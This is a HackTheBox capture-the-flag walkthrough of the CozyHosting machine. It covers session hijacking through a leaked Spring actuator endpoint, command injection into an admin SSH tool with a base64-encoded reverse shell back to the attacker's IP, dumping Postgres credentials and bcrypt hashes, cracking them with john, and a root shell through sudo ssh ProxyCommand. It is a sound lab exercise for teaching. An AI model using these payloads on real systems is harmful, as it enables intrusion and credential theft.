Summary

The foothold can be obtained from hijacking a session to gain access to an admin portal, then command injecting into an ssh utility within the admin utilities. Postgres dumps a credential which john can crack for another user. A little stdin/stdout redirecting can be used to gain a root shell with sudo.

Enumeration

┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/CozyHosting]
└──╼ $nmap -sC 10.129.104.14
Starting Nmap 7.92 ( https://nmap.org ) at 2023-09-03 13:40 CDT
Nmap scan report for 10.129.104.14
Host is up (0.059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://cozyhosting.htb

Port 80 - http

front_page
Click for full image

Basic web hosting page, points to a login portal.

┌─[✗]─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/CozyHosting]
└──╼ $dirsearch -u http://cozyhosting.htb/

  _|. _ _  _  _  _ _|_    v0.4.3.post1
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/raccoon/_hacking/HackTheBox/Active/CozyHosting/reports/http_cozyhosting.htb/__23-09-03_14-48-27.txt

Target: http://cozyhosting.htb/

[14:48:27] Starting: 
[14:48:40] 200 -    0B  - /;/admin
[14:48:40] 200 -    0B  - /;/login
[14:48:40] 200 -    0B  - /;json/
[14:48:40] 200 -    0B  - /;admin/
[14:48:40] 200 -    0B  - /;login/
[14:48:40] 200 -    0B  - /;/json
[14:48:40] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
...
[14:48:43] 200 -    5KB - /actuator/env
[14:48:44] 200 -   10KB - /actuator/mappings
[14:48:44] 200 -   98B  - /actuator/sessions
[14:48:44] 200 -  124KB - /actuator/beans
...

Task Completed

searching for directories I see that there is leftover session data from actuator. Which yields the following json:

json sessions data

User as josh

Foothold as app

I can replace my cookie data with the session for kanderson and access the admin portal.

admin portal

Inside the portal we can find an ssh based scanner tool which takes a hostname and an IP (and a pre-existing key the admin should have). I toss in a basic IP with no hostname and receive the following error in the url:

IP: 1.1.1.1
Hostname: 

http://cozyhosting.htb/admin?error=usage:%20ssh%20[-46AaCfGgKkMNnqsTtVvXxYy]%20[-B%20bind_interface]%20%20%20%20%20%20%20%20%20%20%20[-b%20bind_address]%20[-c%20cipher_spec]%20[-D%20[bind_address:]port]%20%20%20%20%20%20%20%20%20%20%20[-E%20log_file]%20[-e%20escape_char]%20[-F%20configfile]%20[-I%20pkcs11]%20%20%20%20%20%20%20%20%20%20%20[-i%20identity_file]%20[-J%20[user@]host[:port]]%20[-L%20address]%20%20%20%20%20%20%20%20%20%20%20[-l%20login_name]%20[-m%20mac_spec]%20[-O%20ctl_cmd]%20[-o%20option]%20[-p%20port]%20%20%20%20%20%20%20%20%20%20%20[-Q%20query_option]%20[-R%20address]%20[-S%20ctl_path]%20[-W%20host:port]%20%20%20%20%20%20%20%20%20%20%20[-w%20local_tun[:remote_tun]]%20destination%20[command%20[argument%20...]]

The backend is probably running ssh given_host@given_IP -i key When erroring out in this fashion I could probably read any local file so long as it takes the form of an error but I can do better here. The only restrictions before me are the host IP can only be an address, whereas the hostname cannot have whitespace. The easiest way around that is to use a variable with whitespace in it for every space I need.

So I’ll use an ip of 1.1.1.1 and a hostname of ;${IFS}echo${IFS}raccoon;. The ${IFS} is a variable that contains one whitespace, and the semicolons end the previous command and then this one. The results:

IP: 1.1.1.1
Hostname: ;${IFS}echo${IFS}raccoon;

http://cozyhosting.htb/admin?error=usage:%20ssh%20[-46AaCfGgKkMNnqsTtVvXxYy]%20[-B%20bind_interface]%20%20%20%20%20%20%20%20%20%20%20[-b%20bind_address]%20[-c%20cipher_spec]%20[-D%20[bind_address:]port]%20%20%20%20%20%20%20%20%20%20%20[-E%20log_file]%20[-e%20escape_char]%20[-F%20configfile]%20[-I%20pkcs11]%20%20%20%20%20%20%20%20%20%20%20[-i%20identity_file]%20[-J%20[user@]host[:port]]%20[-L%20address]%20%20%20%20%20%20%20%20%20%20%20[-l%20login_name]%20[-m%20mac_spec]%20[-O%20ctl_cmd]%20[-o%20option]%20[-p%20port]%20%20%20%20%20%20%20%20%20%20%20[-Q%20query_option]%20[-R%20address]%20[-S%20ctl_path]%20[-W%20host:port]%20%20%20%20%20%20%20%20%20%20%20[-w%20local_tun[:remote_tun]]%20destination%20[command%20[argument%20...]/bin/bash:%20line%201:%20@1.1.1.1:%20command%20not%20found

No command output, but it clearly interfered with the error output. I try some other commands to no avail and decide to try set a variable as a command and include it in the error message. ;raccoon=$(whoami);$raccoon is the payload, and what this does is prepend the variable raccoon to the @IP part of the ssh command.

IP: 1.1.1.1
Hostname: ;raccoon=$(whoami);$raccoon

/bin/bash:%20line%201:%20app@1.1.1.1:%20command%20not%20found

My first hunch works here but in my head there is still RCE here. I try to base64 encode a shell payload and try running that. This would bypass any funky business that is happening with special characters such as / : < > &. The hostname: ;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTUvNzc3NyAwPiYxCg==${IFS}|base64${IFS}-d${IFS}|${IFS}bash;

IP: 1.1.1.1
Hostname: ;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTUvNzc3NyAwPiYxCg==${IFS}|base64${IFS}-d${IFS}|${IFS}bash;
┌─[✗]─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/CozyHosting]
└──╼ $nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.129.105.136 51098
bash: cannot set terminal process group (990): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ whoami
whoami
app

postgres creds

Immediately upon gaining access I see a jar file which is the backbone of this site. I grab that and sift around.

app@cozyhosting:/app$ ls          
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ python3 -m http.server 8081
python3 -m http.server 8081
10.10.14.115 - - [05/Sep/2023 00:13:26] "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -

In the application.properties part of the jar there are credentials for postgres database access.

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
app@cozyhosting:/app$ psql -W "postgresql://postgres@localhost/postgres"
Vg&nvzAQ7XxR

Now we can enumerate databases, connect to one that sticks out, enumerate tables, then dump all the contents.

postgres=# \l     
\l
WARNING: terminal is not fully functional
Press RETURN to continue 

                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privil
eges   
-------------+----------+----------+-------------+-------------+----------------
-------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres    
      +
             |          |          |             |             | postgres=CTc/po
stgres
(4 rows)

(END):q
postgres=# 
postgres=# \c cozyhosting
\c cozyhosting
Password: Vg&nvzAQ7XxR

SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue 

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

(END):q
cozyhosting=# 
cozyhosting=# \d users
\d users
WARNING: terminal is not fully functional
Press RETURN to continue 

                        Table "public.users"
  Column  |          Type          | Collation | Nullable | Default 
----------+------------------------+-----------+----------+---------
 name     | character varying(50)  |           | not null | 
 password | character varying(100) |           | not null | 
 role     | role                   |           |          | 
Indexes:
    "users_pkey" PRIMARY KEY, btree (name)
Referenced by:
    TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERE
NCES users(name)

cozyhosting=# select name,password from users;
select name,password from users;
WARNING: terminal is not fully functional
Press RETURN to continue 

   name    |                           password                           
-----------+--------------------------------------------------------------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
(2 rows)

Crack those with john and we are on our way. It is of note I checked /etc/passwd as app and found that josh was the user with a home directory, do that password is likely his.

┌─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/CozyHosting]
└──╼ $john hash --wordlist=/opt/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
┌─[✗]─[raccoon@cyberraccoon-virtualbox]─[~/_hacking/HackTheBox/Active/CozyHosting]
└──╼ $ssh josh@cozyhosting.htb
josh@cozyhosting.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-82-generic x86_64)
...

josh@cozyhosting:~$ cat user.txt
772a739c14f4a-------------------

Root

sudo ssh

I check the classics of sudo -l and pspy64 to find that ssh is executable as root.

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

stdin, stdout, stderr

ProxyCommand in this instance is used, as the name suggests, to proxy command to another host. These commands do not drop the elevated privileges and hence give us a free root shell. In this particular example we are using sh to create a shell then sending stdin 0 and stdout 1 to stderr &2. That means that all of the ssh data prior to the ;sh command and all of the output of said command are sent to stderr and will only be output if an error happens.

josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# cat /root/root.txt
5d099fb2a2b---------------------